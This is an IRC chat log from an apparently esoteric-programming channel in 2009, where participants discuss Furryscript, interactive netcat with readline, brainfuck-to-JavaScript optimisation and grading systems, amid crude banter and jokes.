link? 22:56:45 Run it on the web-page at: http://zzo38computer.cjb.net/furry/webform.php 22:57:04 See the video-games script for an example of the ARG command. And see the D&D adventure ideas script for an example of the plural command. 22:57:29 huh? 22:57:40 where does one input the code 22:58:24 If you want to input code to Furryscript, you will need to get Furryscript.php (copy and paste the text from the web-page, or use a different program to remove the color-codes) and run it as a command-line program with the filename on the command-line argument. 22:58:40 I'll guess I skip it 22:58:53 * GregorR-L forces it into EgoBot >: ) 22:58:55 anyway. What has this got to do with netcat. 22:58:55 And if you make some codes, post them, I would like to see them so I can add them to my web-site! 22:59:09 GregorR-L, no. Just no. 22:59:12 Nothing to do with netcat. That was an unrelated comment. 22:59:15 it isn't an esolang 22:59:23 zzo38, and that comment about netcat made no sense either 22:59:38 Maybe not, but sendmail isn't an esolang either. I just wanted to post how it was done in similar things like that. 22:59:44 what 22:59:46 to netcat? 22:59:54 AnMaster: So what if it's not an esolang, it's still interesting :P 23:00:07 is it? looks like a text generator language to me 23:00:57 The netcat comment has to do with, one day I went to FreeGeek office, I tried to access gopher and IRC through netcat but it doesn't do things like Windows push F2 for repeat up to something, arrow to select previous entry, etc. That is why I should write netcat interactive one day, for Linux only. 23:01:37 Try generating a list of adventure ideas with it to see how it works. http://zzo38computer.cjb.net/furry/webform.php?which=adventure.txt&count=20 23:01:43 zzo38, on Windows that line editing is all in cmd.exe 23:01:57 try using telnet instead of netcat 23:01:59 for telnet 23:02:35 "Furries are intentionally catching lycanthropy." <-- wut 23:03:09 Telnet doesn't do line editing either. Unless there is a program for that. But if I should write interactive netcat with mode for display of control-codes, color-codes, and line-editing (including the F2 of Windows, very useful in IRC but should be useful for other protocols also.) 23:03:29 telnet seems to do so here 23:03:34 but maybe it is on the server side 23:04:21 AnMaster: That's just one of the entries in the list. There are many more, which include parameters and various other things. See (View selected script codes) to see the codes so you can know how the parameters are substituted. Also look at the codes in video-game-names if you want to see how they detect duplicates with that. 23:04:54 Telnet is good when the server accepts telnet commands but netcat (or netcat interactive) should be use for raw linemode protocols,,,... 23:04:56 Spells and psionic powers start having weird quantum effects. 23:04:58 I like that one 23:05:07 I like that one also! 23:05:10 The gods announce a holiday for Paladins. A Paladin is not bound by his code on this day. 23:05:11 OOOH! 23:05:52 Minotaurs want to live in your village but don't know the common language and refuse to learn it. <-- that's stupid 23:05:54 I didn't write all of them by myself but I did many of them, and I added parameters to many of them taken from other sources, also. If you have other ideas to add (with or without parameters), I would like to add it on. 23:06:10 zzo38, so a lot of them are hard coded? 23:06:16 I was hoping markov chain style 23:06:25 hopeing* 23:06:27 Many are hard-coded and many have parameters, and some of the parameters have their own parameters even. 23:06:42 A bulette is tearing apart viable farmland. was generated twice 23:07:15 It can generate things twice. Furryscript itself only generates one per call to the program, but the web interface calls it multiple times and therefore might generate duplicates. 23:07:37 A new noble seeks to clear a patch of wilderness of all monsters. <-- sounds like most computer RPGs/adventure games 23:08:38 You are right. But now I added a second one. in addition to keeping the other one also 23:08:48 zzo38, "The grim reaper has taken a human aprentice. " <-- you stole that from Discworld. Admit it. 23:09:29 AnMaster: No I didn't. Probably someone else stole it from Discworld and I just happened to find it listed somewhere, I certainly know nearly nothing about Discworld. 23:09:43 Two hobgoblin bards argue about wheelbarrows. <-- exactly how is that an adventure :D 23:10:06 These video game names are great. 23:10:09 They aren't necessarily full adventures, they could be parts of adventures (when you want to modify parts), etc 23:10:27 "Minimal Booty Tactics" "Fruity Music Squadron" "Chinese Cheese Jamboree" 23:10:37 A priest asks you to rescue his/her pet from a tree. <-- Before fire fighters were invented. 23:10:38 :P 23:10:58 err is that right English word? 23:12:06 Yes 23:13:17 I think if the DM combined what he already had with some of these ideas, it would make a interesting D&D game 23:13:34 btw, the xkcd title/alt-text seems cryptic today 23:13:36 I don't play D&D like other people, I am a good defensive player at D&D. 23:14:06 The entire game so far has been an illusion. 23:14:09 good one 23:14:31 I'm always a defensive player, in any game I play 23:14:38 even where it makes no sense. 23:15:00 (which is why I suck at car racing games and similar) 23:15:40 hah, as the last item listed was "The King of Nowhere hires you to secretly solve tense situtations." 23:16:00 Defensive play is not as simple as you might think. It is more interesting than offensive play in my opinion. Not only am I defensive play, my character has NG alignment so I try to good thing as well, like not kill someone if it is not necessary and if someone steal something I will give them back the money for buying a new one. 23:16:42 Many people want to play you have to kill everyone and steal their stuff but D&D is not a computer game! If you want to kill some monsters or whatever and steal their stuff, you should hire murderers and thieves, not adventureres 23:17:00 And it's D&D 3.5 edition, in case you didn't know. 23:17:14 I never played table top D&D 23:17:22 -!- KingOfKarlsruhe has quit (Remote closed the connection). 23:17:22 It turns out the tarrasque is really just cold. Find out how to knit him a sweater. 23:17:24 fun 23:17:27 22:49 zzo38: Netcat does not use the shell functions in Linux. So if I get Linux, I will need to write interactive netcat. 23:17:29 wat 23:17:35 ehird, read on 23:17:37 before you comment 23:17:47 it was confusing yes, but in the end it was explained 23:17:51 tl;dr :-) 23:18:06 but I tried to read a bit 23:18:08 ehird, yop 23:18:17 or 23:18:18 yl 23:18:20 ah 23:18:20 23:00 zzo38: The netcat comment has to do with, one day I went to FreeGeek office, I tried to access gopher and IRC through netcat but it doesn't do things like Windows push F2 for repeat up to something, arrow to select previous entry, etc. That is why I should write netcat interactive one day, for Linux only. 23:18:24 rlwrap nc, yo 23:18:46 What's rlwrap nc 23:18:53 ehird, is that allowed if nc isn't GPL compatible btw 23:19:04 AnMaster: Legally, yes. According to rms, probably no. 23:19:15 zzo38: nc is netcat, "rlwrap foo" runs foo with line editing capabilities 23:19:22 Use GNU netcat if normal netcat doesn't GPL compatible 23:19:23 does it count as linking? Will Stallman use this to say every software ever made that uses the console has to be GPL? 23:19:24 rlwrap wraps other programs to use readline 23:19:31 AnMaster: Nope, yes, 23:19:35 but rms is insane 23:19:39 and not in the good way, so. 23:19:42 rlwrap so doesn't count as linking :P 23:19:52 And RMS is totally insane in the good way. 23:19:53 Follow the interesting drama in the next episode of FSF 23:19:59 OK. Their computers are Ubuntu, does Ubuntu include rlwrap can I just type something like "rlwrap nc zzo38computer.cjb.net 70" and it will work? 23:20:04 (next week, same time) 23:20:14 zzo38: You have to install rlwrap. 23:20:17 ehird, you answered too quickly 23:20:22 RMS is too impractical, lately, as far as I know. 23:20:31 :/ 23:20:31 zzo38: the incident we're referring to was in 1992 23:20:46 GregorR-L: If the clisp incident counts as viral, so does rlwrap. 23:22:16 If I make up my own Linux distribution then, rlwrap and netcat will be included and a command "nci" (netcat interactive) to run netcat with readline 23:22:31 "Post-Apocalyptic Thunder Psychiatrist" I would totally play this game. 23:22:36 !slashes //a/ 23:22:37 And I make my own window manager also 23:22:48 !slashes a//b/c 23:22:49 ac 23:22:51 hm 23:23:00 that doesn't fully make sense 23:23:04 ehird, agree? 23:23:25 It's replacing "" with b. 23:23:25 it should match every zero width 23:23:32 not "nothing" 23:23:41 if you see what I mean 23:23:59 zero width like ^ and $ in regex 23:24:05 so between every char 23:24:06 Do you know something about optimize convert brainfuck to Javascript? 23:24:17 zzo38, why into javascript 23:24:18 but 23:24:30 I tried to make it optimize but I want to know if it can be improved optimized 23:24:37 zzo38: See esotope-bfc. 23:24:38 you could write a javascript backend for esotope-bf 23:24:39 I guess 23:24:41 bfc* 23:24:44 http://code.google.com/p/esotope-bfc/ 23:24:50 compiles hello world to 23:24:50 PUTS("Hello World!"); 23:24:51 return 0; 23:24:55 he split the code generator out last I looked 23:25:12 It is into Javascript because of XUL-runner is programmed in Javascript, so when a client-script is being loaded from gopher it has to convert to Javascript. 23:25:35 My optimizer converts "," to "yield;" 23:25:40 err 23:25:43 zzo38: you really want to use esotope for any hugely-optimizing BF optimizer. 23:25:49 zzo38, and +++ into "add 3"? 23:26:03 and [-]++++ into "set 4"? 23:26:10 and [>] into seek. and so on 23:26:31 constant folding and what not 23:26:35 Yes it does convert "+++" to "t[p]+=3;" 23:26:46 zzo38: does it convert 23:26:48 >+++++++++[<++++++++>-]<.>+++++++[<++++>-]<+.+++++++..+++.>>>++++++++[<++++>-] 23:26:48 <.>>>++++++++++[<+++++++++>-]<---.<<<<.+++.------.--------.>>+. 23:26:49 into 23:26:52 print("Hello, world!") 23:26:53 ? 23:27:01 Yes yes, it does do "[-]++++" into "t[p]=4;" as well. But it doesn't do everything. 23:27:13 If not ... write an http://code.google.com/p/esotope-bfc/ backend ;-) 23:27:19 No. It doesn't do that last one. 23:27:23 zzo38, and ++>-<++ into t[p]+=4; t[p+1]-=1; 23:27:25 it also optimizes multiplication, all balacned loops, ... 23:27:30 *balanced 23:27:34 zzo38, that is. skip the pointer move 23:28:50 So far my program doesn't optimize I/O, it alawys converts "," to "yield;" and "." to "O();" 23:28:51 !befunge98 http://rage.kuonet.org/~anmaster/nosuchfile 23:28:56 hm? 23:29:05 !befunge98 http://rage.kuonet.org/~anmaster/mycology.b98 23:29:06 0 1 2 3 4 5 6 7 23:29:28 Hey, http://rage.kuonet.org/~anmaster/nosuchfile doesn't exist! :P 23:29:42 GregorR-L, indeed it doesn't. Was wondering about error message. 23:30:02 None 8-D 23:30:18 Look at my codes if you want to, to help me tell me what I am missing? 23:30:22 also I think your version is outdated? 23:30:25 it is 4.0 23:30:27 not 4.0.1 23:30:36 Oh noes! 23:30:38 err 23:30:41 0.4 not 0.4.1 23:30:42 even 23:30:43 My version of what? 23:30:52 GregorR-L: he probably released a new cfunge 23:30:54 0.000001ms faster 23:30:55 GregorR, cfunge 23:30:59 And I can't use esotope-bfc because it is Python and I need the optimizer also be written in Javascript. 23:31:10 locally: That the interpreter's version is 41 23:31:11 -!- inurinternet has quit (No route to host). 23:31:19 That the interpreter's version is 40 23:31:20 Feel free to send me a hg bundle. 23:31:29 GregorR, it was some time ago (weeks?) 23:31:30 See my codes in http://zzo38computer.cjb.net/vonkeror/Vonkeror.zip the file modules/brainfuck.js contains the optimizer of brainfuck into Javascript. 23:31:53 GregorR, what is your file with the version info 23:31:55 AnMaster: If you think that I'm going to follow the versions of all the interpreters installed, you're quite severely incorrect :P 23:32:01 USED_VERSION 23:32:01 so I can know what rev to diff from 23:32:04 yes 23:32:08 what does it contain! 23:32:15 !sh cat interps/cfunge/USED_VERSION 23:32:15 http://rage.kuonet.org/~anmaster/cfunge/ 0.4.0+bzr:trunk:r763 23:32:19 ah 23:32:28 =a!<_^% 23:32:31 ↑afiosdj 23:32:41 ehird: Fascinating. 23:32:48 GregorR-L: pojdpaosdjpoajp!!!!!!! ! 23:32:50 -!- Sgeo[Pidgin] has joined. 23:32:56 \\\\\\//////λλλλλλλλ 23:33:04 ⁹⁸⁰‽↙ababababau˙ª´• 23:33:11 Is the guest account of Ubuntu wiped at logoff? 23:33:11 Sgeo[Pidgin]: Having "[Pidgin]" on your name is just advertising "I use shitty IRC clients" 23:33:15 AnMaster: If you think that I'm going to follow the versions of all the interpreters installed, you're quite severely incorrect :P <-- you could sign up for the news letter (sourceforge project news simply) 23:33:17 :P 23:33:24 If so, then I think that means it's secure enough for my needs 23:33:25 My program always wraps values of cells 0 to 255, and has two new commands * and ~ for using the second tape. I want to know if there is a way for checking when it doesn't need to wrap and therefore optimize it better. 23:33:25 Sgeo[Pidgin]: Storing your WORLD-ENDINGLY IMPORTANT SSN? 23:33:35 Sgeo[Pidgin]: lern2gpg 23:33:54 GregorR-L, didn't bother installing XChat yet 23:34:34 GregorR, does plain diff work for you? 23:34:41 Finefine. 23:35:04 Another thing that netcat does in Windows, if you are typing, it won't interrupt what you are typing with the output, it will let you finish typing first. Does readline do that? 23:35:18 ... that seems terrible :P 23:35:46 zzo38: that's awful 23:35:51 it means you miss out on stuff :P 23:35:54 but 23:35:58 readline will repeat the line again after 23:35:59 I think 23:36:01 so you don't lose the trail 23:36:09 I would assume so, yeah. 23:36:41 Also, is zzo38 looking for http://codu.org/rawirc.c ? :P 23:36:57 GregorR-L, http://rage.kuonet.org/~anmaster/r763_to_r777.diff is in the cfunge source dir directly. Then you need to change USED_VERSION to 0.4.1+bzr:trunk:r777 23:37:07 GregorR-L, does that work for you 23:37:14 GregorR, make clean and make after 23:37:20 OK if readline just puts output and then repeats the typing line afterward so that you can finish typing, that is even more better than Windows. Now the only thing needed is control-codes display mode and to make your typing a different color than the server's typing and then it is completely good. 23:37:56 Bam! Underfeatured IRC client. 23:38:03 ehird, which one? 23:38:08 oh... netcat 23:38:10 oh my 23:38:28 Done 23:38:38 !sh cat interps/cfunge/USED_VERSION 23:38:39 http://rage.kuonet.org/~anmaster/cfunge/ 0.4.0+bzr:trunk:r777 23:38:50 !befunge98 http://rage.kuonet.org/~anmaster/mycology.b98 23:38:51 0 1 2 3 4 5 6 7 23:39:11 GregorR-L, um? 23:39:20 Um what 23:39:30 ah yes it works 23:39:32 -zzo38- VERSION I am using netcat on Windows right now. But one day I will get Linux instead and maybe use rawirc.c or netcat with readline 23:39:35 oh 23:39:36 my 23:39:55 zzo38, anything wrong with a normal irc client 23:39:59 One big benefit of rawirc.c over netcat: It PINGs and PONGs for you :P 23:40:04 like irssi, xchat or whatever 23:40:04 "Student Information effective from Fall 2008 to The End of Time" 23:40:12 GregorR-L: freenode doesn't need pings/pongs 23:40:17 what is rawirc.c 23:40:23 I don't need to reply to your PING message. The rawirc.c that you posted looks interesting, I will look at it more, a bit 23:40:29 ehird: FreeNode has a very long timeout for pings/pongs, but it does get pissed at you if you never pong. 23:40:29 Expected Graduation Date: May 21, 2009 23:40:34 23:36 GregorR-L: Also, is zzo38 looking for http://codu.org/rawirc.c ? :P 23:40:38 ah 23:40:46 GregorR-L: Very long = weeks? 23:40:46 -GregorR-L- VERSION xchat 2.8.6 Linux 2.6.29-1-686 [i686/2.40GHz] 23:40:49 optbot never responded to ping 23:40:52 quite sensible 23:40:53 and never got disconnected 23:41:07 ehird, true, freenode doesn't require it 23:41:08 ehird: Idonno, I recall EgoBot getting bumped. Maybe its only if you send no output whatsoever. 23:41:12 most other irc networks does 23:41:18 and yeah what GregorR said 23:41:23 The automatic ping-pong is useful. What would be very useful is a option to enable/disable that option, in case for whatever reason, you want to do it manually. 23:41:26 Freenode is the only IRC network worth bothering with ;-) 23:41:33 The automatic ping-pong is useful. What would be very useful is a option to enable/disable that option, in case for whatever reason, you want to do it manually. 23:41:34 um 23:41:35 zzo38: WHY would you want to do it manually‽‽ 23:41:35 why 23:41:36 :-D 23:41:39 WHY ON EARTH 23:41:48 zzo38: I haven't changed rawirc.c in years, but you can delete the relevant lines :P 23:41:48 and 23:41:48 ahh zzo38 is great 23:41:53 why not a normal irc client 23:42:03 AnMaster: BECAUSE THEY'RE FOR PUSSIES 23:42:15 -GregorR-L- VERSION xchat 2.8.6 Linux 2.6.29-1-686 [i686/2.40GHz] 23:42:19 right pussy! 23:42:37 I WISH I HAD PUSSY 23:42:42 *rimshot* 23:42:45 haha 23:42:47 Probably no reason to do it manually, but it should be configurable, together with configurable colors and keyboard shortcuts (rawirc.c uses ^P for PRIVMSG and ^O for last channel, but if you could add more with a configuration file, would be useful, 23:42:48 I have a pussy. In my lap. 23:42:52 She's purring. 23:42:56 zzo38: The whole program should be configurable. 23:43:01 The single configuration option is program_source. 23:43:14 This is more flexible in case you want to, say, make toast. 23:43:16 Or a web browser. 23:43:23 X-P 23:43:25 um 23:43:28 Actually that's been done 23:43:30 It's called emacs 23:43:38 I was just about to mention it 23:43:43 * AnMaster use ERC in emacs yeah. 23:43:57 I like automatic ping-pong, so I don't want to delete it. But if I modify it I will make automatic ping-pong configurable, but still enabled by default (I have no reason to disable it, but later on there might be a use for it, in case you want to test something, maybe) 23:43:58 because it is so configurable. More than any other normal client 23:44:06 while still doing most of the normal client stuff 23:44:13 zzo38: to test something couldn't you use netcat? 23:44:32 -!- BeholdMyGlory has quit (Remote closed the connection). 23:44:46 Would it be bad for me to ask the average GPA of people in here? 23:44:54 Sgeo[Pidgin], what the hell is GPA 23:44:58 72.5 23:45:02 AnMaster: school thing. 23:45:02 Sgeo[Pidgin]: Apparently :P 23:45:07 http://en.wikipedia.org/wiki/Grade_(education) 23:45:09 ehird, never heard of it 23:45:11 grade point average 23:45:23 ehird: pretty sure it goes up to 4 23:45:30 Sgeo[Pidgin]: this one ... goes up to 72. 23:45:32 I got an A- this term so I got demoted to a 3.98 >: ( 23:45:37 It's like going up to 11, but moreso. 23:45:53 Sgeo[Pidgin], in Sweden there is one that goes up to 20 23:46:02 Or is it 22, AnMaster? 23:46:06 AnMaster: Divide that by 5 :P 23:46:08 Got an A in all classes but two. One I got an A-, and one I got a C 23:46:10 err what 23:46:15 AnMaster: http://en.wikipedia.org/wiki/Up_to_eleven 23:46:16 I don't think the A- was recorded as an A- 23:46:23 GPA: 3.78 23:46:26 um 23:46:28 it's from Spinal Tap 23:46:32 I meant as in max value is 20 23:46:35 Yes 23:46:38 I know what you meant. 23:46:39 AnMaster: In the US, grades are basically: A=4.0, B=3.0, C=2.0, D=1.0, F=0.0, then average by number of credits. 23:46:44 it is used when you apply for university 23:46:48 The phrase was coined in a scene from the 1984 mockumentary/rockumentary This Is Spinal Tap by the character Nigel Tufnel, played by Christopher Guest. In this scene Nigel gives the rockumentary's director, Marty DiBergi, played by Rob Reiner, a tour of his stage equipment. While Nigel is showing Marty his Marshall guitar amplifiers, he points out one in particular whose control knobs all have the highest setting of eleven (unlike standard amplifiers, wh 23:46:50 ose volume settings are typically numbered from zero to ten), believing that this numbering actually increases the volume of the amp ("It's one louder."). When Marty asks why the ten setting is not simply set to be louder, Nigel pauses, clearly confused, before responding, "These go to eleven".[2][3] 23:46:51 after you finished high school 23:47:02 AnMaster: SO, if the max value is 20, then divide by 5 to get something roughly equivalent to US GPA. 23:47:09 Another feature to add to rawirc (I might add it, one day) is if you type PASS, it will echo the rest of your command as asterisks regardless of what you actually type (also configurable, of course). 23:47:11 I have 17.5 in that system 23:47:12 btw 23:47:20 zzo38: Erm. 23:47:22 Sometimes those numbers, in high school, are incremented for honors or college credit courses. 23:47:25 Couldn't you just type asterisks, zzo38? 23:47:30 I mean... 23:47:35 ... why god why? 23:47:44 ehird: It will ECHO the rest of your command as asterisks :P 23:47:45 Making for 5.0 semesters being theoretically possible. 23:47:48 oh for the PASS command 23:47:54 that's still ridiculous :-P 23:47:58 pikhq, what? 23:48:00 anyway 23:48:00 ehird: SO'S YOUR FACE. 23:48:04 who cares about the US system 23:48:10 What if your password isn't asterisks? The reason is so that you can type in your password and it is not displayed on the screen 23:48:11 People in the US? 23:48:12 People in the US. 23:48:17 AnMaster: WE ARE USA. YOU HAVE NO CHANCE TO SURVIVE MAKE YOUR TIME. 23:48:21 and we have different systems in primary school, high school and university. 23:48:25 You're remarkably anti-US, AnMaster; it makes you look even more idiotic than UScentric people 23:48:25 here in Sweden 23:48:28 My HS cumulative GPA was 12.569... making me wonder what the max for that is 23:48:28 three different systems 23:48:29 SOMEONE SET US UP THE BOMB. 23:48:39 Sgeo[Pidgin]: 40 23:48:41 pikhq, yeah. The CIA did :P 23:48:59 GregorR-L: Oh burn. 23:49:04 :P 23:49:13 anyway 23:50:50 IG (not passed), G (passed), VG (passed with excellence), MVG (passed with lots of excellence) is the basic system used in Sweden. For primary and high schools. At university level there is U (not passed) G (passed) VG (pased with excellence) 23:50:55 those are rouge translations 23:51:20 Passed with lost of excellence sounds so much funnier than summa cum laude. 23:51:20 They don't seem very red. 23:51:22 *lots 23:51:41 Those don't seem very high-grained. 23:51:44 Erm. 23:51:46 Well, maybe it translates to magna cum laude 23:51:46 Finely grained. 23:51:55 Not that A,B,C,D,F is very finely grained, either... 23:52:15 pikhq: That's why we have this A-, B+, B-, C+ sh** :P 23:52:22 Wait, there's no E grade in the US? 23:52:23 WTFBBQ 23:52:41 Passed with lost of excellence sounds so much funnier than summa cum laude. <-- I didn't remember the Latin term 23:52:43 GregorR-L: My school had them, but didn't apply for the GPA. 23:52:43 and 23:53:06 ehird: A, B, C and D are just lettered from A, but "F" isn't meant to be the next letter, it stands for "failed" 23:53:07 A* = 4.0, B* = 3.0, C* = 2.0, D* = 1.0, F* = 0.0. 23:53:18 GregorR-L: AAAAAAAAAAAAAAA THAT SUCKS THERE NEEDS TO BE AN E GRADE 23:53:19 E+ 23:53:20 it is "MVG = Mycket Väl Godkänd". Literal translation: "Much Well Passed". 23:53:21 Oh, and D was very much a passing graid. 23:53:25 Grade, even. 23:53:27 which just doesn't work in English ehird 23:53:30 pikhq: lawl 23:53:54 -!- Judofyr has quit (Remote closed the connection). 23:53:57 Well, maybe it translates to magna cum laude <-- yes 23:54:06 Because that's so English ;) 23:54:06 and then VG would be cum laude 23:54:10 In ascending order: F, D, C, B, A, ´, ¥, ↓, œ, ‽, *BEEP*, 23:54:12 Segmentation fault 23:54:29 * GregorR-L got a Segmentation fault+ once. 23:54:34 GregorR-L, everyone know English is a mix of Germanic and Latin languages. Oh and a bit of celtic too iirc. 23:54:45 AnMaster: Latin only through French. 23:54:50 French kills everything :P 23:54:51 yeah 23:54:54 FRENCH 23:54:55 KILLS 23:54:56 EVERYTHING 23:55:00 A new horror movie. Out Summer. 23:55:09 Starring French Stewart 23:55:10 -!- darthnuri has joined. 23:55:19 And the whole of Franc 23:55:20 e 23:55:22 and the French language itself 23:55:27 Personified 23:55:32 argh, why do I have the word 'stewart' stalked 23:55:33 And unpersonified 23:55:38 FRENCH 23:55:39 KILLS 23:55:40 EVERYTHING 23:55:42 a film by French. 23:55:48 AnMaster: Mostly place names are Celtic. 23:55:48 Gracenotes: Because you're such a French Stewart fan? 23:56:00 -!- darthnuri has changed nick to inurinternet. 23:56:10 oh yes, now I remember, it's because of James Stewart's calculus book 23:56:25 rawr. 23:56:25 pikhq, cwm! 23:56:28 "The following survey pages must be completed prior to accessing the Registration:" 23:56:32 ( *cester == unholy amalgamate of Celtic and Latin) 23:56:34 (Welsh yeah) 23:56:44 pikhq, what does cester mean 23:56:50 which I don't have an ebook of by the way. 23:56:52 I know it is found in many 23:57:05 Something like "town"? 23:57:06 Gracenotes: Neither do I. And neither does French Stewart. 23:57:13 pikhq, kay 23:57:21 *wink* 23:57:24 Kinda screwy when you consider that my last *name* is Worcester. 23:57:39 hah 23:57:40 pikhq: Whenever I think Worcester I think http://en.wikipedia.org/wiki/Worcestershire_sauce 23:57:49 haha 23:58:06 Pronounced "Warshrrrhshfshouapfhdoiafs" 23:58:09 ehird: Well, Worcestershire sauce comes from the shire containing the town that gives me my last name... 23:58:13 (Which I seem to alternate between liking and hating every time I try it) 23:58:16 pikhq: Ar. 23:58:27 "Woostershir sauce" is the pronounciation, BTW. 23:58:38 (I'm not giving you IPA) 23:58:53 pikhq: But WHY X_X 23:59:20 War sest er sher. ← say it ten times quick 23:59:24 BECAUSE ENGLISH SUXORS. 23:59:29 ehird: Wrong. 23:59:46 i knoq 23:59:47 w 23:59:48 ... Ten times quick will get you close to how it's actually pronounced, though. 23:59:51 I was just doing it the obvious way 23:59:58 which is har 23:59:58 d 2009-05-16: 00:00:20 I pronounce it "War-chester-shire" and then people tell me I'm pronouncing it wrong and I say "fuck you I refuse to pronounce it like that" 00:00:37 Gregor, I kill you. 00:00:54 HAHAHA *GREEN*. 00:00:57 Get it? 00:01:08 xDDDDDfyj 00:01:20 ehird got in to the liquor cabinet. 00:01:38 I AM - the liquor. uhhhh 00:01:40 ‽cabinet 00:01:59 that was what you thought before you thought that what you thought was what you thought before you thought that what you thought was what you thought. 00:03:06 *****aaaaaaagggggghhhhhhh******* 00:03:17 I have no way to listen to any music while on this account 00:03:29 Wow, the endpcnoise support people are really helpful 00:03:48 Unless someone can link me to some nice .ogg music? 00:06:10 http://codu.org/Kill_Yourself.ogg 00:06:24 Ah, Kill Yourself - a song for the ages. 00:07:28 Sgeo[Pidgin]: Gregor's 5th through 8th opuses are also rather nice. 00:07:47 No song is better than Kill Yourself. Especially because it completely lacks melody. 00:08:15 Gee, apparently my 9th and 10th suck. 00:08:17 Good to know. 00:08:54 GregorR-L: is Kill Yourself prescribed for regular use, I mean if i kill myself and then feel bad again 00:08:59 can i do it again 00:09:13 ehird: Absolutely. Try it today! 00:09:17 OK brb 00:09:34 * Sgeo[Pidgin] vaguely hopes that there's no one suicidal in here 00:10:04 I doubt a song would convince someone to go through with it. 00:10:46 I have no way to listen to any music while on this account <-- huh? 00:11:05 Sgeo[Pidgin], I'll link you. Sec. 00:11:33 AnMaster: GregorR-L has already filled any need. 00:11:41 Sgeo[Pidgin], http://svn.gna.org/viewcvs/wesnoth/trunk/data/core/music/ 00:11:52 http://codu.org/Kill_Yourself.ogg [counteracting] 00:11:58 AnMaster: the World of Goo soundtrack is in mp3s, and I can't set that up while on a guest account. Not sure how to get... Wesnoth music! OMG 00:12:10 Sgeo[Pidgin], um. Those I linked are *.ogg 00:12:21 AnMaster: I see that 00:12:23 <3<3<3 00:12:34 wget http://svn.gna.org/viewcvs/*checkout*/wesnoth/trunk/data/core/music/elf-land.ogg?rev=29785 00:12:35 http://codu.org/Kill_Yourself.ogghttp://codu.org/Kill_Yourself.ogghttp://codu.org/Kill_Yourself.ogghttp://codu.org/Kill_Yourself.ogghttp://codu.org/Kill_Yourself.ogg 00:12:36 for example 00:12:39 or just svn co 00:12:45 Sgeo[Pidgin], hope that helps 00:12:52 ty AnMaster 00:12:52 he knows how ... 00:13:12 Sgeo[Pidgin], svn co http://svn.gna.org/svn/wesnoth/trunk/data/core/music wesnoth-music 00:13:14 should work 00:13:20 AnMaster: actually, I can just click on a file and click download 00:13:20 assuming svn is installed 00:13:28 Sgeo[Pidgin], kay. 00:13:41 Sgeo[Pidgin]: If you've got a build environment, mpg123. 00:13:43 Sgeo[Pidgin], and why can't you just get an mp3 player btw 00:13:46 -!- zzo38 has quit (Read error: 104 (Connection reset by peer)). 00:13:52 Install it in ~/local/ 00:13:53 Sgeo[Pidgin], surely gcc is installed? 00:14:03 AnMaster: a bit lazy 00:14:19 no system is complete without a full software compiling environment 00:14:25 00:14 AnMaster: no system is complete without a full software compiling environment 00:14:26 Bull. Shit. 00:14:32 Bull + Shit = That. 00:14:35 (Apologies to GregorR-L) 00:14:39 ehird, embedded systems excluded 00:14:43 of course 00:14:47 but no desktop/laptop 00:14:51 or server 00:14:52 Shit + Bull = Atth. 00:15:07 What's the one with the clapping 00:15:13 Hm, I think I found it, not sure 00:15:44 At least a C compiler, linker, make, system headers, and anything else needed to boot strap basically every other program 00:15:48 * GregorR-L wonders why "Apologies to GregorR-L" on that ... 00:15:54 GregorR-L: I stole it from you :P 00:16:00 Oh :P 00:16:06 ehird, and it isn't bull shit 00:16:16 in any way whatsoever 00:16:18 It's shit that comes from a bull. 00:16:20 Fits the spec. 00:16:31 Haaaaaaaaaaahahaha 00:16:41 * AnMaster looks for the bull. 00:16:42 None here 00:16:49 oh wait, there 00:16:51 behind ehird 00:16:52 right 00:16:56 AnMaster: try a mirror? (j/k) 00:17:16 GregorR-L: Can you explain to AnMaster why the vast majority of users have absolutely no need whatsoever for a compilation environment? 00:17:31 ehird: Although it's clearly the case, no, I cannot :P 00:17:41 Damn you! 00:17:52 ehird, the vast majority of users won't need to program themselves sure. But they will some day need to compile a program. IMO. 00:17:57 LOL 00:18:00 it should be taught in schools 00:18:13 AnMaster: You're batshit insane and I hope you never get into a position to introduce things into the curriculum. 00:18:15 "basic computer knowledge" 00:18:17 or wahtever 00:18:26 like, how to use a mouse 00:18:29 type on keyboard 00:18:39 turn on/off 00:18:43 And compile a program. 00:18:45 write email, browse web 00:18:45 You're mad. Barmy. 00:18:47 Insane. 00:18:57 write a document, and print it 00:19:00 Completely out of the loop. 00:19:06 Two marbles short of a fruitcake. 00:19:13 and basic "read the INSTALL file" 00:19:23 Tom Cruise crazy. 00:19:25 in fact. it would be enough to teach RTFM 00:19:28 ehird, ^ 00:19:28 !! 00:19:36 who? 00:19:43 ... Tom Cruise, who? 00:19:43 Ahaha 00:19:48 yeah who is that 00:19:52 name sounds faimilar 00:19:55 can't place it 00:19:55 GregorR-L: Please save me from the mad "every user will one day need to compile a program and it should be taught in schools" person who doesn't know who Tom Cruise is 00:19:56 Thanks 00:20:09 ehird, actually I revised that 00:20:12 " in fact. it would be enough to teach RTFM " 00:20:19 which will help a LOT 00:20:39 how you best search for information 00:20:50 stuff like how to search on google, where to find manuals 00:21:04 that will always help 00:21:09 ehird, you can't deny that! 00:21:27 A manual is a sign of a bad UI in 90% of cases. 00:21:45 ehird, there will always be users who do not understand the UI 00:21:50 in 100% of the cases 00:21:52 even if it is good 00:21:58 The ones who speak Swedish haw haw 00:22:12 GregorR-L, that joke didn't even make any sense. 00:22:22 Not a lot, no. 00:22:29 00:22 mauke: my ($fst, $snd) = m{^((?:[^\\/]|\\.)*)/(.*)\z}s; $fst =~ s/\\(.)/$1/sg; 00:22:34 a programmer in oerjan's kin 00:22:34 ehird, a lack of a manual is a sign of a bad UI in 90% of cases. 00:22:43 Really, 90% of all UIs are bad. 00:22:44 ;) 00:22:46 pikhq: Your mom is a sign of your face in 110% of cases. 00:22:59 ... 00:23:42 Lets not sink to that level of insults. It is like a sub-form of Godwin's law. 00:24:02 Whooooooooooooooooooooooooooooooooooooooooooooo 00:24:04 oooooooooooooooooooooooooooooooooooooooooooooooooo 00:24:06 oooooooooooooooooooooooooooooooooooooooooooooooooooooo 00:24:08 ooooooooooooooooooooooooosh. 00:27:29 Well, back to Windows 00:27:45 Ahahaha _awesome_ 00:28:05 Pidgin integrates with the thingy on the upper right 00:28:41 Sgeo[Pidgin], why on windows 00:28:42 horrible 00:28:44 and 00:28:50 what thingy on the upper right? 00:28:57 The thing that has the username 00:29:05 Want a screenshot? 00:29:15 Sgeo[Pidgin]: wait, you are concerned about security 00:29:16 and use window 00:29:17 s 00:29:24 * ehird lols all over the floor 00:29:34 You know the word "security", and use Windows? 00:29:34 When I'm concerned about security, I'll use Linux 00:29:39 * pikhq joins 